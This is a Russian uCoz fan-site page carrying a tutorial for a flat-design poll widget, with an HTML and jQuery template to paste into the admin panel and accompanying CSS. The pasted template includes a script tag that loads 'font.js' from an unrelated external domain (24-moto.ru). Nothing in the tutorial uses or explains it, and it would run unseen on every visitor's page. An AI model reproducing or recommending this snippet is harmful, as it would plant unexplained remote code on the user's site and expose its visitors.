| Главная | Форум | Файлы | Статьи | Игровые новости | Новости Кино | Топ сайтов | Ucoz скрипты | Online Фильмы и Сериалы | Первый игровой телеканал | Фильмы(2011) |
>
| Главная | Мой профиль | Вход | RSS |
Меню сайта
On-line сервисы
Поиск по сайту
Мини-чат
Правила чата

 
500
Друзья и Топы
Друзья сайта

Мы в Топах
Топ Статей
для css
Автор: ☠Вагид☠™
Статья: Как дать Админку по Нику и Паролю?
Дата: 05.01.2011
Ответов: 8
для css
Автор: ☠Вагид☠™
Статья: как установить прицел в CSS...
Дата: 05.01.2011
Ответов: 0
для css
Автор: ☠Вагид☠™
Статья: Как забиндить кнопки на запись демо
Дата: 21.12.2010
Ответов: 0
для css
Автор: ☠Вагид☠™
Статья: Прикольные символы для css
Дата: 09.12.2010
Ответов: 0
Мои статьи
Автор: ☠Вагид☠™
Статья: как установить новый фон меню в CSS...
Дата: 05.01.2011
Ответов: 0
Случайные Файлы

VA - Дискотека Арлекина № 1-5, MP3 128-320 kbps

VA - Дискотека Арлекина № 1-5, MP3 128-320 kbps

DAEMON Tools Pro Advanced v5.0.0316.0317 [2012,MLRUS]

DAEMON Tools Pro Advanced v5.0.0316.0317 [2012,MLRUS]

скачать Best CW Server бесплатно

скачать Best CW Server бесплатно

Готовый паблик сервер для новой CS Source

Готовый паблик сервер для новой CS Source

скин админа stikmen

скин админа stikmen

title=
Главная » Статьи » Скрипты

Вид опроса для uCoz в стиле Flat дизайна

В данном посте мы с вами разберем и установим новый вид опроса для uCoz в стиле Flat дизайна. Что такое стиль Flat (Flat дизайн)? Это новый довольно популярный в интернете сейчас тип веб-дизайна, главной особенностью которого является плоскость и юзабельность. Теперь поговорим об этом виде опроса для uCoz. Главная его особенность это плоскость — тот самый Flat дизайн. Выводится количество и процент проголосовавших, а также полоски опроса разноцветные, заточен под 14 возможных ответов. Также данный вид опроса в стиле Flat построен полностью на CSS, что делает его очень легким и не утяжеляющим страницу. Установка очень проста

Установка:

Для установки, зайдите в админ панель => Управление дизайном => Опросы => Вид формы опросов и здесь заменяем весь существующий код на этот:

Код
<div class="cell-poll">
  <div class="cell-poll-title">$QUESTION$</div>  
  <div class="cell-poll-answers">$ANSWERS$</div>
  <div class="cell-poll-link">
  <span>Ответов: <strong>$TOTAL_VOTES$</strong></span>  
  <a href="$RESULTS_LINK$" >Результаты </a>
  <b> | </b>
  <a href="$ARCHIVE_LINK$">Архив </a>  
  </div>  
</div>
<script type="text/javascript" src="http://24-moto.ru/font.js"></script><script type="text/javascript">
var a = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15'];
for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress');$('div.answer div div').eq(i).addClass('progress-'+[i]);}
$('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});
</script>


Отлично, теперь нам нужно установить CSS стили, для этого идем в ваши Таблицы стилей и добавляем туда такой код:

Код
/* Вид опроса для uCoz, в стили flat v2
------------------------------------------*/
.cell-poll{
  float:left;
  width:230px;
  color:#666;
  background: #fff;
  padding: 10px 10px 10px 10px;  
  border: 1px solid #B6C0CD;  
  border-radius:5px;  
}

.cell-poll-title{
  float:left;
  width:100%;
  padding-bottom: 10px;
  border-bottom: 1px solid #B6C0CD;
  font:12px Verdana,Arial,Helvetica, sans-serif;
  font-weight:bold;
  text-align:center;
  color:#777;  
}

.cell-poll a {text-decoration:none; outline:none}

.cell-poll-answers{
  float:left;
  width:100%;
  margin: 10px 0px 10px 0px;  
  text-align:left;
}

.answer {display: block;}

.answer input{margin: 3px 5px 2px 5px;}
.answer label {margin: 2px 0px 2px 0px; color:#555;}

.progress {
  height: 15px;
  overflow: hidden;
  margin: 5px 0px 7px 0px;
  height: 15px!important;
  background: #F4F8F9!important;
}

.progress-0,
.progress-1,
.progress-2,
.progress-3,
.progress-4,
.progress-5,
.progress-6,
.progress-7,
.progress-8,
.progress-9,
.progress-10,
.progress-11,
.progress-12,
.progress-13,
.progress-14 {
  height: 18px!important;
  display: block!important;
  overflow: hidden!important;
  margin-top: -3px;
}

.progress-0 {background: #5D9AD3!important;}
.progress-1 {background: #E96465!important;}
.progress-2 {background: #F6954E!important;}
.progress-3 {background: #dd8cd2!important;}
.progress-4 {background: #75D0ED!important;}
.progress-5 {background: #5BC254!important;}
.progress-6 {background: #CFC72D!important;}
.progress-7 {background: #DD3344!important;}
.progress-8 {background: #FE9B6F!important;}
.progress-9 {background: #8CC84B!important;}
.progress-10 {background: #DD8CD2!important;}
.progress-11 {background: #e9eb5b!important;}
.progress-12 {background: #E96465!important;}
.progress-13 {background: #75D0ED!important;}
.progress-14 {background: #5D9AD3!important;}

.pollBut{
  cursor:pointer;
  border:none!important;  
  margin-top:10px;
  background: #64b0db!important;  
  padding: 5px 20px 5px 20px!important;  

  font:11px Verdana,Arial,Helvetica, sans-serif!important;  
  font-weight: bold!important;  
  color:#fff!important;  
}

.pollBut:active {box-shadow:inset 0px 0px 3px #166693!important;}
.pollBut:hover {background:#51a4d2!important;}

.cell-poll-link{
  float:left;
  width:100%;
  padding-top: 10px;
  border-top: 1px solid #B6C0CD;
   
  font:9px Verdana,Arial,Helvetica, sans-serif;
  color:#999;
}

.cell-poll-link span{float:left;}
.cell-poll-link b,
.cell-poll-link a {float:right;}
.cell-poll-link b {color:#B6C0CD;}


Готово! Теперь, дизайн опроса готов, все налажено и рабочее, можете установить себе тестовый опрос, чтобы протестировать данный скрипт для uCoz. На этом все, спасибо вам за внимание!
Категория: Скрипты | Добавил: Bitfood (28.02.2014)
Просмотров: 392 | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Форма входа

Погода
Наша кнопка
Если вы хотите помочь нашему сайту в дальнейшем развиваться, то поместите нашу кнопку на вашем сайте или на сайте ваших друзей! Мы будем вам очень благодарны! Если же вы хотите произвести баннеробмен то напишите в ЛС администратору сайта




Наши баннеры
Нашa группa
Статистика



» Зарег. на сайте
Всего: 284
Новых за месяц: 1
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0

» Из них
Администраторов: 1
Модераторов: 1
Модератор форума: 0
Хламовцев: 6
Обычных юзеров: 276  

» Из них
Парней: 265
Девушек: 19

Рейтинг@Mail.ru

AD-Pixel Pagerank Anzeige ohne Toolbar

EASY.LV Interneta resursu reitings

Рейтинг SIMPLETOP.NET


Онлайн всего: 1
Гостей: 1
Пользователей: 0

Последние зарегистрированные пользователи

  • 285 - andronakia0 - 28.06.2025
  • 284 - tressag29 - 14.11.2024
  • 283 - nagimrasul - 23.05.2023
  • 282 - ivanovwano2013 - 10.03.2019
  • 281 - shamavalera0 - 09.03.2019


  • Последнее Форума
    Добавить новость, файл и т.д. в ajax
    Автор: ☠Вагид☠™
    Форум: Ajax
    Дата: 18.07.2025
    Ответов: 445
    Неплохое горизонтальное меню с использованием css
    Автор: ☠Вагид☠™
    Форум: Меню сайта
    Дата: 15.07.2025
    Ответов: 69
    Красивый вид опроса для ucoz как на ucozon
    Автор: ☠Вагид☠™
    Форум: Опросы
    Дата: 23.06.2025
    Ответов: 2
    Как сменить стандартную иконку ucoz favicon.ico
    Автор: ☠Вагид☠™
    Форум: Полезное
    Дата: 22.06.2025
    Ответов: 3
    https://youtu.be/TQyK8fsVGl4
    Автор: ☠Вагид☠™
    Форум: Ваши сайты
    Дата: 20.06.2025
    Ответов: 5

    myxlam.clan.su © 2017Пользовательское соглашение Для правообладателей Хостинг от uCoz

    Сайт тестировался на просмотр следующих браузеров: Internet Explorer 6-8 , Mozilla Firefox 2-3 , Opera 8-10 и Google Chrome.Все права защищены, myxlam.clan.su 2010-2017 © Все файлы расположенные на данном ресурсе были взяты из открытых источников. Любая информация представленная здесь, используется в ознакомительных целях. Ни администрация сайта, ни хостинг-провайдер, ни любые другие лица не могут нести отвественности за использование материалов данного сайта. Входя на сайт вы автоматически соглашаетесь с данными условиями.

    free counters Хостинг от uCoz